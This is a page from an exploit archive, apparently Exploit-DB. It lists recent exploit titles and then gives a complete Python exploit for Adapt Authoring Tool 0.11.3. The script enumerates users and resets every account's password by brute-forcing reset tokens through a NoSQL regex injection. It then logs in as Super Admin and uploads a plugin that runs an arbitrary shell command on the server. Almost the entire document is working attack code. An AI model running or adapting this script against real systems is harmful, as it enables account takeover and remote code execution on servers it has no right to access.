
22 changes to exploits/shellcodes/ghdb Spring Boot common-user-management 0.1 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) - Remote Code Execution ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) - Stored Cross-Site Scripting ABB Cylon Aspect 3.08.02 (licenseUpload.php) - Stored Cross-Site Scripting ABB Cylon Aspect 3.08.02 (uploadDb.php) - Remote Code Execution ABB Cylon Aspect 3.08.02 - Cookie User Password Disclosure ABB Cylon Aspect 3.08.03 (CookieDB) - SQL Injection Ivanti Connect Secure 22.7R2.5 - Remote Code Execution (RCE) ABB Cylon Aspect 3.08.03 (MapServicesHandler) - Authenticated Reflected XSS ABB Cylon Aspect 3.08.03 - Hard-coded Secrets Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE) IBMi Navigator 7.5 - HTTP Security Token Bypass IBMi Navigator 7.5 - Server Side Request Forgery (SSRF) Plane 0.23.1 - Server side request forgery (SSRF) ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) - Denial of Service (DOS) ABB Cylon Aspect 3.08.02 (webServerUpdate.php) - Input Validation Config Poisoning Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated) OpenCMS 17.0 - Stored Cross Site Scripting (XSS) Really Simple Security 9.1.1.1 - Authentication Bypass Pymatgen 2024.1 - Remote Code Execution (RCE)
293 lines
No EOL
8 KiB
Python
Executable file
293 lines
No EOL
8 KiB
Python
Executable file
# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
|
|
# Date: 2024-11-24
|
|
# Exploit Author: Eui Chul Chung
|
|
# Vendor Homepage: https://www.adaptlearning.org/
|
|
# Software Link: https://github.com/adaptlearning/adapt_authoring
|
|
# Version: 0.11.3
|
|
# CVE Identifier: CVE-2024-50672 , CVE-2024-50671
|
|
|
|
import io
|
|
import sys
|
|
import json
|
|
import zipfile
|
|
import argparse
|
|
import requests
|
|
import textwrap
|
|
|
|
|
|
def get_session_cookie(username, password):
|
|
data = {"email": username, "password": password}
|
|
res = requests.post(f"{args.url}/api/login", data=data)
|
|
|
|
if res.status_code == 200:
|
|
print(f"[+] Login as {username}")
|
|
return res.cookies.get_dict()
|
|
|
|
return None
|
|
|
|
|
|
def get_users():
|
|
session_cookie = get_session_cookie(args.username, args.password)
|
|
if session_cookie is None:
|
|
print("[-] Login failed")
|
|
sys.exit()
|
|
|
|
res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
|
|
users = [
|
|
{"email": user["email"], "role": user["roles"][0]["name"]}
|
|
for user in json.loads(res.text)
|
|
]
|
|
|
|
roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
|
|
users.sort(key=lambda user: roles[user["role"]])
|
|
for user in users:
|
|
print(f"[+] {user['email']} ({user['role']})")
|
|
|
|
return users
|
|
|
|
|
|
def reset_password(users):
|
|
# Overwrite potentially expired password reset tokens
|
|
for user in users:
|
|
data = {"email": user["email"]}
|
|
requests.post(f"{args.url}/api/createtoken", data=data)
|
|
print("[+] Generate password reset token for every user")
|
|
|
|
valid_characters = "0123456789abcdef"
|
|
next_tokens = ["^"]
|
|
|
|
# Ensure that only a single result is returned at a time
|
|
while next_tokens:
|
|
prev_tokens = next_tokens
|
|
next_tokens = []
|
|
|
|
for token in prev_tokens:
|
|
for ch in valid_characters:
|
|
data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
|
|
res = requests.put(
|
|
f"{args.url}/api/userpasswordreset/w00tw00t",
|
|
json=data,
|
|
)
|
|
|
|
# Multiple results returned
|
|
if res.status_code == 500:
|
|
next_tokens.append(token + ch)
|
|
|
|
print("[+] Reset every password to HaXX0r3d!")
|
|
|
|
|
|
def create_plugin(plugin_name):
|
|
manifest = {
|
|
"name": plugin_name,
|
|
"version": "1.0.0",
|
|
"extension": "exploit",
|
|
"main": "/js/main.js",
|
|
"displayName": "exploit",
|
|
"keywords": ["adapt-plugin", "adapt-extension"],
|
|
"scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
|
|
}
|
|
|
|
property = {
|
|
"properties": {
|
|
"pluginLocations": {
|
|
"type": "object",
|
|
"properties": {"course": {"type": "object"}},
|
|
}
|
|
}
|
|
}
|
|
|
|
payload = textwrap.dedent(
|
|
f"""
|
|
const {{ exec }} = require("child_process");
|
|
|
|
module.exports = async function (fs, path, log, options, done) {{
|
|
try {{
|
|
exec("{args.command}");
|
|
}} catch (err) {{
|
|
log(err);
|
|
}}
|
|
done();
|
|
}};
|
|
"""
|
|
).strip()
|
|
|
|
plugin = io.BytesIO()
|
|
with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
|
|
zip_file.writestr(
|
|
f"{plugin_name}/bower.json",
|
|
io.BytesIO(json.dumps(manifest).encode()).getvalue(),
|
|
)
|
|
zip_file.writestr(
|
|
f"{plugin_name}/properties.schema",
|
|
io.BytesIO(json.dumps(property).encode()).getvalue(),
|
|
)
|
|
zip_file.writestr(
|
|
f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
|
|
)
|
|
zip_file.writestr(
|
|
f"{plugin_name}/scripts/postcopy.js",
|
|
io.BytesIO(payload.encode()).getvalue(),
|
|
)
|
|
|
|
plugin.seek(0)
|
|
return plugin
|
|
|
|
|
|
def find_plugin(cookies, plugin_type, plugin_name):
|
|
res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
|
|
for plugin in json.loads(res.text):
|
|
if plugin["name"] == plugin_name:
|
|
return plugin["_id"]
|
|
|
|
return None
|
|
|
|
|
|
def create_course(cookies):
|
|
data = {}
|
|
res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
|
|
course_id = json.loads(res.text)["_id"]
|
|
|
|
data = {"_courseId": course_id, "_parentId": course_id}
|
|
res = requests.post(
|
|
f"{args.url}/api/content/contentobject",
|
|
cookies=cookies,
|
|
json=data,
|
|
)
|
|
content_id = json.loads(res.text)["_id"]
|
|
|
|
data = {"_courseId": course_id, "_parentId": content_id}
|
|
res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
|
|
article_id = json.loads(res.text)["_id"]
|
|
|
|
data = {"_courseId": course_id, "_parentId": article_id}
|
|
res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
|
|
block_id = json.loads(res.text)["_id"]
|
|
|
|
component_id = find_plugin(cookies, "component", "adapt-contrib-text")
|
|
|
|
data = {
|
|
"_courseId": course_id,
|
|
"_parentId": block_id,
|
|
"_component": "text",
|
|
"_componentType": component_id,
|
|
}
|
|
requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)
|
|
|
|
return course_id
|
|
|
|
|
|
def rce(users):
|
|
session_cookie = None
|
|
for user in users:
|
|
if user["role"] == "Super Admin":
|
|
session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
|
|
break
|
|
|
|
if session_cookie is None:
|
|
print("[-] Failed to login as Super Account")
|
|
sys.exit()
|
|
|
|
plugin_name = "adapt-contrib-xapi"
|
|
print(f"[+] Create malicious plugin : {plugin_name}")
|
|
plugin = create_plugin(plugin_name)
|
|
|
|
print("[+] Scan installed plugins")
|
|
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
|
|
if plugin_id is None:
|
|
print(f"[+] {plugin_name} not found")
|
|
else:
|
|
print(f"[+] Found {plugin_name}")
|
|
print(f"[+] Remove {plugin_name}")
|
|
requests.delete(
|
|
f"{args.url}/api/extensiontype/{plugin_id}",
|
|
cookies=session_cookie,
|
|
)
|
|
|
|
print("[+] Upload plugin")
|
|
files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
|
|
requests.post(
|
|
f"{args.url}/api/upload/contentplugin",
|
|
cookies=session_cookie,
|
|
files=files,
|
|
)
|
|
|
|
print("[+] Find uploaded plugin")
|
|
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
|
|
if plugin_id is None:
|
|
print(f"[-] {plugin_name} not found")
|
|
sys.exit()
|
|
print(f"[+] Plugin ID : {plugin_id}")
|
|
|
|
print("[+] Add plugin to new courses")
|
|
data = {"_isAddedByDefault": True}
|
|
requests.put(
|
|
f"{args.url}/api/extensiontype/{plugin_id}",
|
|
cookies=session_cookie,
|
|
json=data,
|
|
)
|
|
|
|
print("[+] Create a new course")
|
|
course_id = create_course(session_cookie)
|
|
|
|
print("[+] Build course")
|
|
res = requests.get(
|
|
f"{args.url}/api/output/adapt/preview/{course_id}",
|
|
cookies=session_cookie,
|
|
)
|
|
|
|
if res.status_code == 200:
|
|
print("[+] Command execution succeeded")
|
|
else:
|
|
print("[-] Command execution failed")
|
|
|
|
print("[+] Remove course")
|
|
requests.delete(
|
|
f"{args.url}/api/content/course/{course_id}",
|
|
cookies=session_cookie,
|
|
)
|
|
|
|
|
|
def main():
|
|
print("[*] Retrieve user information")
|
|
users = get_users()
|
|
|
|
print("\n[*] Reset password")
|
|
reset_password(users)
|
|
|
|
print("\n[*] Perform remote code execution")
|
|
rce(users)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument(
|
|
"-u",
|
|
dest="url",
|
|
help="Site URL (e.g. www.adaptlearning.org)",
|
|
type=str,
|
|
required=True,
|
|
)
|
|
parser.add_argument(
|
|
"-U",
|
|
dest="username",
|
|
help="Username to authenticate as",
|
|
type=str,
|
|
required=True,
|
|
)
|
|
parser.add_argument(
|
|
"-P",
|
|
dest="password",
|
|
help="Password for the specified username",
|
|
type=str,
|
|
required=True,
|
|
)
|
|
parser.add_argument(
|
|
"-c",
|
|
dest="command",
|
|
help="Command to execute (e.g. touch /tmp/pwned)",
|
|
type=str,
|
|
default="touch /tmp/pwned",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
main() |